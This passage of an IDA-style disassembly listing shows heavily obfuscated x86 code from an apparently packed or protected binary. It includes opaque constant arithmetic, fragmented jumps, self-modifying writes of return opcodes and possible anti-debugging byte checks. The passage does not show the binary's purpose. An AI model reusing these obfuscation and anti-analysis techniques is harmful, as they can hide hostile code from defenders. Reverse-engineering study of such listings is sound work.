		jbe	loc_4371B2

; =============== S U B	R O U T	I N E =======================================



sub_44CB3F	proc near		; CODE XREF: sub_43837F:loc_44BD75p

; FUNCTION CHUNK AT 004371AE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 004372DB SIZE 0000000E BYTES
; FUNCTION CHUNK AT 004375AA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043A9F1 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0043CE51 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043F8ED SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00441AE2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00444720 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00449619 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00449823 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004498EC SIZE 00000010 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnz	loc_449619
		test	byte ptr [ebp-8], 2
		jz	loc_449826
		push	ebp
		jmp	loc_441AE2
sub_44CB3F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44066C

loc_44CB59:				; CODE XREF: sub_44066C+9E94j
		popf
		or	ebx, edx

loc_44CB5C:				; CODE XREF: sub_44066C:loc_44A4F8j
		or	eax, 252AD393h
		and	eax, ds:4000E2h
		jmp	loc_44AFDB
; END OF FUNCTION CHUNK	FOR sub_44066C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44CB6D:				; CODE XREF: sub_448EB6:loc_448FB1j
					; DATA XREF: y22d6.y.:loc_43B969o
		pop	ecx
		lea	eax, sub_439F2D
		mov	byte ptr [eax],	0C3h
		jmp	sub_439F2D
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439F2D

loc_44CB7C:				; CODE XREF: sub_439F2Dj
		pop	edx
		mov	eax, [esp+4+var_4]
		jmp	loc_438AA1
; END OF FUNCTION CHUNK	FOR sub_439F2D

; =============== S U B	R O U T	I N E =======================================



sub_44CB85	proc near		; DATA XREF: y22d6.y.:0043F794o

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00446DC4 SIZE 00000005 BYTES

		popf
		xchg	edx, [esp-4+arg_0]
		jmp	loc_446DC4
sub_44CB85	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4425E0

loc_44CB8E:				; CODE XREF: sub_4425E0:loc_445514j
		pop	edx
		and	edx, 2ACDF73Ah
		sub	edx, 94C1161Ch
		add	edx, 8CFCBACFh
		jmp	loc_43A4D0
; END OF FUNCTION CHUNK	FOR sub_4425E0

; =============== S U B	R O U T	I N E =======================================



sub_44CBA6	proc near		; DATA XREF: sub_44B35D+4o
		jz	loc_44DA43
		call	nullsub_4
sub_44CBA6	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_43D20E

loc_44CBB1:				; CODE XREF: sub_43D20E:loc_43B66Ej
					; sub_43EC51+20j
		jo	loc_438295
		xor	eax, eax
		jmp	loc_439B10
; END OF FUNCTION CHUNK	FOR sub_43D20E

; =============== S U B	R O U T	I N E =======================================



sub_44CBBE	proc near		; CODE XREF: sub_43CC1A+1863p
					; y22d6.y.:004409DDj

; FUNCTION CHUNK AT 004475A9 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C4BE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CEC8 SIZE 0000000A BYTES

		xchg	edx, [esp+0]
		pop	edx
		add	edx, 0D008774Eh
		mov	[edx], ecx
		pop	edx
		jmp	loc_44C4BE
sub_44CBBE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B17B

loc_44CBD0:				; CODE XREF: sub_44B17B-BDD9j
		jz	loc_440F58
		jmp	loc_4393D1
; END OF FUNCTION CHUNK	FOR sub_44B17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44CBDB:				; CODE XREF: sub_43B7B5+F56Dj
		sub	eax, esi

loc_44CBDD:				; CODE XREF: sub_43B7B5:loc_43D5CFj
		rol	eax, 14h
		jmp	loc_43DC98
; END OF FUNCTION CHUNK	FOR sub_43B7B5

; =============== S U B	R O U T	I N E =======================================



sub_44CBE5	proc near		; CODE XREF: y22d6.y.:00447121j
					; DATA XREF: sub_43FEC6+75ABo

; FUNCTION CHUNK AT 004389F8 SIZE 00000005 BYTES

		add	ecx, 14BAD3h
		xchg	ecx, [esp+0]
		jmp	loc_4389F8
sub_44CBE5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C712

loc_44CBF3:				; CODE XREF: y22d6.y.:00441CE0j
					; sub_43C712+CD1Cj
		jnb	loc_43AC62
		xor	eax, eax
		mov	[ebp-10h], eax

loc_44CBFE:				; CODE XREF: sub_4441D9:loc_44C0F2j
		cmp	dword ptr [ebp-4], 0
		jz	loc_438C96
		jmp	loc_440F3A
; END OF FUNCTION CHUNK	FOR sub_43C712
; ---------------------------------------------------------------------------

loc_44CC0D:				; CODE XREF: y22d6.y.:0043FD0Fj
		and	ecx, 0A8D62416h
		shr	edx, 8

loc_44CC16:				; CODE XREF: y22d6.y.:loc_44D0A4j
		mov	eax, 0DD960900h
		call	sub_43CA1A
		call	sub_441AE7

loc_44CC25:				; CODE XREF: y22d6.y.:loc_447977j
		lea	eax, nullsub_13
		mov	byte ptr [eax],	0C3h
		jmp	loc_44CEF3
; ---------------------------------------------------------------------------

loc_44CC33:				; CODE XREF: y22d6.y.:00443B40j
		mov	eax, [esp]
		push	edx
		jmp	loc_4395FA
; ---------------------------------------------------------------------------

loc_44CC3C:				; CODE XREF: y22d6.y.:0043741Ej
		mov	[ecx], eax
		pop	ecx
		lea	eax, nullsub_309
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_309
; ---------------------------------------------------------------------------

loc_44CC4D:				; CODE XREF: y22d6.y.:0043DFB9j
		push	offset loc_43CABE
		jmp	loc_44A605
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E63

loc_44CC57:				; CODE XREF: sub_439E63:loc_43B4F9j
		xor	ecx, 0EED5B31Ch
		add	eax, ecx

loc_44CC5F:				; CODE XREF: y22d6.y.:0044A657j
		pop	ecx
		xor	eax, 4A70CD9Fh
		ror	eax, 16h
		jmp	loc_445C64
; END OF FUNCTION CHUNK	FOR sub_439E63
; ---------------------------------------------------------------------------

loc_44CC6E:				; CODE XREF: y22d6.y.:004382F9j
		mov	edx, [ecx]
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_44CC70:				; CODE XREF: sub_44A359:loc_4382E8j
		or	esi, ds:4000E2h
		call	sub_43B656

loc_44CC7B:				; CODE XREF: y22d6.y.:0044A0DAj
		jmp	loc_437DD5
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------

loc_44CC80:				; CODE XREF: y22d6.y.:0044B393j
		jo	sub_43C55B
		cmp	edi, esi
		jmp	loc_43E3F6
; ---------------------------------------------------------------------------
		cmp	byte ptr [eax],	0F1h
		jnz	loc_44891C
		jmp	loc_43FA71

; =============== S U B	R O U T	I N E =======================================



sub_44CC9B	proc near		; CODE XREF: sub_449CFC-C2B4j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00438482 SIZE 00000005 BYTES

		push	ebx
		push	0CBCA8E79h
		pop	ebx
		xor	ebx, 0B71AC5D4h
		and	ebx, 0CBD6437Eh
		add	ebx, 0B774005Ah
		xchg	ebx, [esp+4+var_4]
		jmp	loc_438482
sub_44CC9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_44CCBC	proc near		; DATA XREF: sub_4414E8+1D60o
		add	esi, 5E4E15D8h
		xchg	esi, [esp+0]
		jmp	loc_4442D6
sub_44CCBC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440395

loc_44CCCA:				; CODE XREF: sub_440395+718Dj
		xchg	ebx, [esp-8+arg_4]
		push	dword ptr [ebp+8]
		call	eax
		mov	[ebp-4], eax
		jmp	loc_448CEF
; END OF FUNCTION CHUNK	FOR sub_440395
; ---------------------------------------------------------------------------

loc_44CCDA:				; CODE XREF: y22d6.y.:0043A0D5j
		inc	ds:dword_44186C
		lea	eax, nullsub_344
		mov	byte ptr [eax],	0C3h
		jmp	loc_444398
; ---------------------------------------------------------------------------

locret_44CCEE:				; CODE XREF: y22d6.y.:loc_439191j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44051D

loc_44CCEF:				; CODE XREF: sub_44051D:loc_438EB6j
		mov	ecx, 8
		sub	ecx, eax
		call	sub_44563C

loc_44CCFB:				; CODE XREF: sub_437B10:loc_4458B7j
					; sub_437B10+DDB5j
		xor	eax, 8B0898Fh
		call	sub_43CA1A
		mov	ds:off_41E128, eax
		lea	eax, sub_439F2D
		jmp	loc_44A2D7
; END OF FUNCTION CHUNK	FOR sub_44051D
; ---------------------------------------------------------------------------
		shr	esi, 2
		jmp	loc_439219
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BD44

loc_44CD1F:				; CODE XREF: sub_43BD44+985Ej
		push	1C8E52C9h
		call	sub_439A5D
; END OF FUNCTION CHUNK	FOR sub_43BD44
; START	OF FUNCTION CHUNK FOR sub_437901

loc_44CD29:				; CODE XREF: sub_437901+1087Aj
		jmp	loc_43BE07
; END OF FUNCTION CHUNK	FOR sub_437901

; =============== S U B	R O U T	I N E =======================================



sub_44CD2E	proc near		; DATA XREF: sub_4428AA+3o

; FUNCTION CHUNK AT 00441807 SIZE 00000005 BYTES

		push	ecx
		mov	esp, ebp

loc_44CD31:				; CODE XREF: y22d6.y.:loc_43B539j
		push	offset loc_43972D
		jmp	loc_441807
sub_44CD2E	endp

; ---------------------------------------------------------------------------

loc_44CD3B:				; DATA XREF: sub_44BBBA:loc_439D2Do
		lea	eax, [ebp-14h]
		push	eax
		push	ecx
		push	3AE629C2h
		pop	ecx
		xor	ecx, 5DDDAEA8h
		or	ecx, 0DD11ADACh
		jmp	loc_44896E
; ---------------------------------------------------------------------------

loc_44CD57:				; DATA XREF: sub_44CBBE:loc_44CEC8o
		mov	[ebp-6], dx
		call	sub_442DB9
; START	OF FUNCTION CHUNK FOR sub_44E5C7

loc_44CD60:				; CODE XREF: sub_44E5C7-FF0Fj
		jmp	loc_447B4D
; END OF FUNCTION CHUNK	FOR sub_44E5C7
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_363. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44CD66:				; CODE XREF: y22d6.y.:00444AC2j
		jmp	loc_439C2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D063

loc_44CD6B:				; CODE XREF: sub_44D063:loc_43F1CEj
		sub	ebx, 0A5E293AEh
		and	ebx, 7E3C49A3h
		add	ebx, 0DC140E65h
		xchg	ebx, [esp+0]
		jmp	loc_442E90
; END OF FUNCTION CHUNK	FOR sub_44D063
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440330

loc_44CD85:				; CODE XREF: sub_440330:loc_43A2C1j
					; sub_43CA1A:loc_44AB11j
		mov	[edi], ebx
		adc	eax, 0E72F686Ah
		jg	loc_440002
		jmp	loc_43C2DE
; END OF FUNCTION CHUNK	FOR sub_440330

; =============== S U B	R O U T	I N E =======================================



sub_44CD98	proc near		; CODE XREF: y22d6.y.:0043D54Fp
					; y22d6.y.:00442303j
		xchg	esi, [esp+0]
		pop	esi
		call	nullsub_12
		jmp	ds:dword_41E058
sub_44CD98	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444D95

loc_44CDA7:				; CODE XREF: sub_444D95-A9F9j
		jmp	loc_44705D
; END OF FUNCTION CHUNK	FOR sub_444D95
; ---------------------------------------------------------------------------

loc_44CDAC:				; CODE XREF: y22d6.y.:00441791j
		push	9712E311h

; =============== S U B	R O U T	I N E =======================================



sub_44CDB1	proc near		; CODE XREF: sub_43F750+5p
		xchg	esi, [esp+0]
		pop	esi
		pop	ebp
		retn
sub_44CDB1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44CDB7	proc near		; CODE XREF: sub_441F08-A0EBj
					; y22d6.y.:00437F7Bj ...

; FUNCTION CHUNK AT 0043CD40 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00441915 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00441D2C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044386E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AADE SIZE 0000000D BYTES

		push	ebp
		jmp	loc_441915
sub_44CDB7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44CDBD:				; CODE XREF: sub_448EB6:loc_43DD1Ej
		jz	loc_43BE59
		jmp	loc_44491D
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A413

loc_44CDC8:				; CODE XREF: sub_44A413+2311j
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		call	sub_43EC1C
; END OF FUNCTION CHUNK	FOR sub_44A413
; START	OF FUNCTION CHUNK FOR sub_444581

loc_44CDD2:				; CODE XREF: sub_444581+5854j
		jmp	loc_441B00
; END OF FUNCTION CHUNK	FOR sub_444581
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448A59

loc_44CDD7:				; CODE XREF: sub_448A59+11j
		jnz	loc_44891C
		jmp	loc_442ED9
; END OF FUNCTION CHUNK	FOR sub_448A59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B566

loc_44CDE2:				; CODE XREF: sub_43B566:loc_44E0B1j
		xchg	eax, [esp+0]
		jmp	loc_44C741
; END OF FUNCTION CHUNK	FOR sub_43B566
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_365. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B252

loc_44CDEB:				; CODE XREF: sub_43B252+D424j
		jmp	loc_43E3C9
; END OF FUNCTION CHUNK	FOR sub_43B252
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44CDF0:				; CODE XREF: sub_448EB6:loc_443C42j
					; y22d6.y.:004447D3j
		xor	eax, 2BBEDA5h
		jmp	loc_4470AC
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A359

loc_44CDFB:				; CODE XREF: sub_44A359j
		mov	eax, ds:dword_43E380
		or	eax, eax
		jnz	loc_43E2FE
		jmp	loc_445B6B
; END OF FUNCTION CHUNK	FOR sub_44A359
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BCC2

loc_44CE0E:				; CODE XREF: sub_44BCC2:loc_449269j
		xchg	ecx, [esp+8+var_8]
		mov	edx, ecx
		pop	ecx
		mov	eax, [esp+4+var_4]
		push	edx
		jmp	loc_44C03E
; END OF FUNCTION CHUNK	FOR sub_44BCC2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C6D7

loc_44CE1D:				; CODE XREF: sub_43C6D7-1A27j
		or	ebx, 0F207F343h
		add	ebx, 944D4B0h
		popf
		xchg	ebx, [esp+4+var_4]
		jmp	loc_43BACC
; END OF FUNCTION CHUNK	FOR sub_43C6D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4389FD

loc_44CE32:				; CODE XREF: sub_4389FD+7j
		call	sub_44D088
		call	sub_44A9DF
		or	eax, eax
		jnz	loc_448638
		jmp	loc_43C2A5
; END OF FUNCTION CHUNK	FOR sub_4389FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446222

loc_44CE49:				; CODE XREF: sub_446222-768j
		add	edi, 80C9A14Eh
		xchg	edi, [esp+4+var_4]
		jmp	loc_43A854
; END OF FUNCTION CHUNK	FOR sub_446222
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEDA

loc_44CE57:				; CODE XREF: sub_44AEDA-375Bj
		cmp	esi, edx
		jmp	loc_447388
; END OF FUNCTION CHUNK	FOR sub_44AEDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44CE5E:				; CODE XREF: sub_448EB6:loc_43C677j
		xchg	ebx, [esp-8+arg_4]
		mov	eax, edx
		push	ecx
		push	128C4D4Ch
		pop	ecx
		and	ecx, 0CAD5AD74h
		jmp	loc_438107
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B489

loc_44CE75:				; CODE XREF: sub_44B489:loc_442AABj
		xor	eax, 0A92CE68Dh
		add	eax, 0EAADB702h
		and	eax, 0B2D7313Ah
		cmp	eax, 81A64E71h
		jmp	loc_440404
; END OF FUNCTION CHUNK	FOR sub_44B489
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_193. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4432B8

loc_44CE93:				; CODE XREF: sub_4432B8+1E5j
		jmp	loc_443298
; ---------------------------------------------------------------------------

loc_44CE98:				; CODE XREF: sub_4432B8-20E5j
		jmp	nullsub_231
; END OF FUNCTION CHUNK	FOR sub_4432B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43AF5B

loc_44CE9D:				; CODE XREF: sub_43AF5B+10j
		jmp	loc_43CDF7
; END OF FUNCTION CHUNK	FOR sub_43AF5B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B7B5

loc_44CEA2:				; CODE XREF: sub_43B7B5+11197j
		jnz	loc_4425F2
		jmp	loc_445311
; END OF FUNCTION CHUNK	FOR sub_43B7B5

; =============== S U B	R O U T	I N E =======================================



sub_44CEAD	proc near		; CODE XREF: sub_43878A+Bp
					; y22d6.y.:0043A479j
		xchg	ecx, [esp+0]
		pop	ecx
		pop	ebp
		push	esi
		jmp	loc_44C043
sub_44CEAD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44CEB8	proc near		; CODE XREF: y22d6.y.:00447E72j
					; sub_43DA5D+10876p

; FUNCTION CHUNK AT 0043CB23 SIZE 00000014 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	edi
		push	0F7DA236h
		pop	edi
		jmp	loc_43CB23
sub_44CEB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBBE

loc_44CEC8:				; CODE XREF: sub_44CBBE:loc_44C4BEj
		push	offset loc_44CD57
		jmp	loc_4475A9
; END OF FUNCTION CHUNK	FOR sub_44CBBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447896

loc_44CED2:				; CODE XREF: sub_447896+Aj
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		push	offset sub_44234B
		jmp	nullsub_234
; END OF FUNCTION CHUNK	FOR sub_447896

; =============== S U B	R O U T	I N E =======================================



sub_44CEE1	proc near		; DATA XREF: sub_4383E0+5456o

; FUNCTION CHUNK AT 0043BE45 SIZE 00000012 BYTES

		push	0D90C8814h
		pop	edi
		sub	edi, 23DEA785h
		js	loc_43BE45

loc_44CEF3:				; CODE XREF: y22d6.y.:0044CC2Ej
		jmp	nullsub_13
sub_44CEE1	endp

; ---------------------------------------------------------------------------
		add	eax, ecx
		test	esi, ebx
		jmp	loc_43A5E5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448EB6

loc_44CF01:				; CODE XREF: sub_448EB6:loc_444F6Aj
		call	sub_43BE66

loc_44CF06:				; CODE XREF: y22d6.y.:loc_443CAAj
		push	7A8A3C05h
		pop	eax
		or	eax, ds:4000E0h
		rol	eax, 5
		jb	loc_444FDF

loc_44CF1B:				; CODE XREF: y22d6.y.:004401BDj
		jmp	loc_440364
; END OF FUNCTION CHUNK	FOR sub_448EB6
; ---------------------------------------------------------------------------
		test	eax, 118A81A8h
		jmp	loc_43AC0B
; ---------------------------------------------------------------------------

loc_44CF2B:				; DATA XREF: sub_43D65C+Ao
		mov	edx, [ebp+8]
		call	sub_43BD44
		rol	eax, 19h
		xor	eax, 9E6EE632h
		push	esi
		push	67A56683h
		pop	esi
		jmp	loc_441BE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AEA5

loc_44CF48:				; CODE XREF: sub_44AEA5:loc_4486C6j
		mov	ebx, ebp
		pop	ebp
		and	ebx, 0A253AEACh
		add	ebx, 0E0412E5Eh
		xchg	ebx, [esp+0]
		jmp	sub_44B267
; END OF FUNCTION CHUNK	FOR sub_44AEA5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B0EE

loc_44CF5F:				; CODE XREF: sub_43B0EE+3689j
		jz	loc_440046
		jmp	loc_4393B8
; END OF FUNCTION CHUNK	FOR sub_43B0EE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440494

loc_44CF6A:				; CODE XREF: sub_440494-2AF8j
		xor	ebp, 4A430CEh
		mov	ebx, [edi]
		not	ebx
		mov	edx, [ecx]
		jmp	loc_448917
; END OF FUNCTION CHUNK	FOR sub_440494
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FAC6

loc_44CF7B:				; CODE XREF: sub_43FAC6+4269j
		sub	al, 99h
		jmp	loc_44CA61
; END OF FUNCTION CHUNK	FOR sub_43FAC6
; ---------------------------------------------------------------------------

loc_44CF82:				; CODE XREF: y22d6.y.:00444417j
		push	offset sub_4497AF
		jmp	locret_43DFFE
; ---------------------------------------------------------------------------
		jle	loc_439CEA
		sub	ebp, eax
		jmp	sub_439B1A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_214. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44CF9A:				; CODE XREF: y22d6.y.:0043E566j
		jmp	loc_449568
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FBC3

loc_44CF9F:				; CODE XREF: sub_43FBC3-21ABj
		jmp	loc_446EBD
; END OF FUNCTION CHUNK	FOR sub_43FBC3

; =============== S U B	R O U T	I N E =======================================



sub_44CFA4	proc near		; DATA XREF: sub_44A793+111Bo
		call	sub_44C758
		mov	eax, 1C5E06BAh
		call	sub_43CA1A
sub_44CFA4	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_440280

loc_44CFB3:				; CODE XREF: sub_440280+75DFj
		mov	ds:off_41E0FC, eax
		lea	eax, sub_44A793
		jmp	loc_441C14
; END OF FUNCTION CHUNK	FOR sub_440280
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C62A

loc_44CFC4:				; CODE XREF: sub_43C62A+5B47j
		call	sub_4480DE
		retn
; END OF FUNCTION CHUNK	FOR sub_43C62A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4404D1

loc_44CFCA:				; CODE XREF: sub_4404D1+353Ej
		jmp	nullsub_308
; END OF FUNCTION CHUNK	FOR sub_4404D1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A90

loc_44CFCF:				; CODE XREF: sub_439A90+2122j
		jmp	loc_44C831
; END OF FUNCTION CHUNK	FOR sub_439A90
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4449C0

loc_44CFD4:				; CODE XREF: sub_4449C0+Aj
		push	ecx
		push	650BC8DAh
		jmp	loc_44B211
; END OF FUNCTION CHUNK	FOR sub_4449C0

; =============== S U B	R O U T	I N E =======================================



sub_44CFDF	proc near		; CODE XREF: y22d6.y.:00441304j
					; sub_4422AA+80BBp
		xchg	esi, [esp+0]
		pop	esi
		call	sub_44B267

loc_44CFE8:				; CODE XREF: sub_43F750:loc_4407DCj
					; y22d6.y.:00445392j
		push	0C8541F59h
		pop	eax
		add	eax, 94CC7B7Bh
		sub	eax, 9C7B5107h
		jmp	loc_44D7FA
sub_44CFDF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44CFFF:				; CODE XREF: y22d6.y.:00448E72j
		rol	ecx, 11h

; =============== S U B	R O U T	I N E =======================================



sub_44D002	proc near		; CODE XREF: sub_44E16C+Fp
		xchg	edx, [esp+0]
		pop	edx
		ror	eax, 0Ah

loc_44D009:				; CODE XREF: y22d6.y.:0044892Aj
		jmp	loc_43DB99
sub_44D002	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4416F3

loc_44D00E:				; CODE XREF: sub_4416F3+9C99j
		add	eax, 7CFA5467h
		add	eax, ebp
		add	eax, 0EB8FCBD6h
		mov	eax, [eax]
		cmp	byte ptr [eax],	0F1h
		jnz	loc_43BF2C
		jmp	loc_442E39
; END OF FUNCTION CHUNK	FOR sub_4416F3
; ---------------------------------------------------------------------------

loc_44D02C:				; CODE XREF: y22d6.y.:00447D6Bj
		ror	ebp, 1

; =============== S U B	R O U T	I N E =======================================



sub_44D02E	proc near		; CODE XREF: sub_44271A:loc_445C46p
		xchg	edi, [esp+0]
		pop	edi
		pop	ebx
		lea	eax, loc_4475CC
		mov	byte ptr [eax],	0C3h
		jmp	loc_44D9AD
sub_44D02E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_44D041	proc near		; CODE XREF: sub_405168+39p
					; y22d6.y.:0043FFF3j
					; DATA XREF: ...

; FUNCTION CHUNK AT 0044713B SIZE 00000005 BYTES

		push	esi

loc_44D042:				; CODE XREF: sub_439C96:loc_44737Cj
		push	10A0EBBEh
		jmp	loc_44713B
sub_44D041	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AA5D

loc_44D04C:				; CODE XREF: sub_44AA5D:loc_442648j
		rol	ebx, 1Ah
		xor	ebx, 3FC51C4Dh
		add	ebx, 3F3F1DEEh
		xchg	ebx, [esp+4+var_4]
		jmp	sub_4463CE
; END OF FUNCTION CHUNK	FOR sub_44AA5D

; =============== S U B	R O U T	I N E =======================================



sub_44D063	proc near		; CODE XREF: y22d6.y.:0043A8D6j
					; sub_43E139+5BBEp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00438262 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0043F1CE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044016D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442E90 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CD6B SIZE 0000001A BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	edx
		mov	eax, [esp-8+arg_4]
		push	edx
		call	sub_438F17
		push	424226Dh
		jmp	loc_44016D
sub_44D063	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44D07B:				; CODE XREF: y22d6.y.:00444218j
		test	ebp, 5208F0DDh
		jmp	loc_4401A5
; ---------------------------------------------------------------------------

loc_44D086:				; DATA XREF: sub_4441E8+3D52o
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44D088	proc near		; CODE XREF: sub_44DB81-15AA1p
					; sub_44364E-AFBEj ...
		push	ebp
		mov	ebp, esp
		jns	sub_44C1E2
		add	esp, 0FFFFFFF8h
		call	sub_4395B1

loc_44D099:				; CODE XREF: sub_44B635:loc_446267j
		jz	loc_445CA6
		jmp	loc_43D001
sub_44D088	endp

; ---------------------------------------------------------------------------

loc_44D0A4:				; CODE XREF: y22d6.y.:loc_438A50j
		jz	loc_44CC16
		jmp	loc_43EC15
; ---------------------------------------------------------------------------
		rol	eax, 4
		sub	eax, 5F99CAC9h
		push	edx
		push	0B2F4EEE1h
		pop	edx
		add	edx, 1414D381h
		or	edx, 0F8567027h
		jmp	loc_447136
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438399

loc_44D0D1:				; CODE XREF: sub_438399+10j
		jmp	loc_439315
; END OF FUNCTION CHUNK	FOR sub_438399
; ---------------------------------------------------------------------------
		dw 8B62h
dword_44D0D8	dd 0			; DATA XREF: y22d6.y.:0043DD29r
					; sub_44A620-6A61w
dword_44D0DC	dd 1A90884Fh, 8C8B8C66h, 0F0063D8h, 0FF3C9085h,	0D87EE8FFh
					; DATA XREF: y22d6.y.:0043A83Eo
					; y22d6.y.:0044CA56o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

locret_44D0F2:				; CODE XREF: y22d6.y.:0043F799j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446236

loc_44D0F3:				; CODE XREF: sub_446236+10j
		jmp	loc_441D3D
; END OF FUNCTION CHUNK	FOR sub_446236
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CA1A

loc_44D0F8:				; CODE XREF: sub_43CA1A+1Aj
					; sub_448EB6:loc_440501j
		lea	eax, [ebp-12Dh]
		mov	[ebp-28h], eax

loc_44D101:				; CODE XREF: sub_44571D-CA8Cj
		mov	eax, [ebp-24h]
		cmp	byte ptr [eax],	0
		jnz	loc_449433
		jmp	loc_441FFF
; END OF FUNCTION CHUNK	FOR sub_43CA1A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44313A

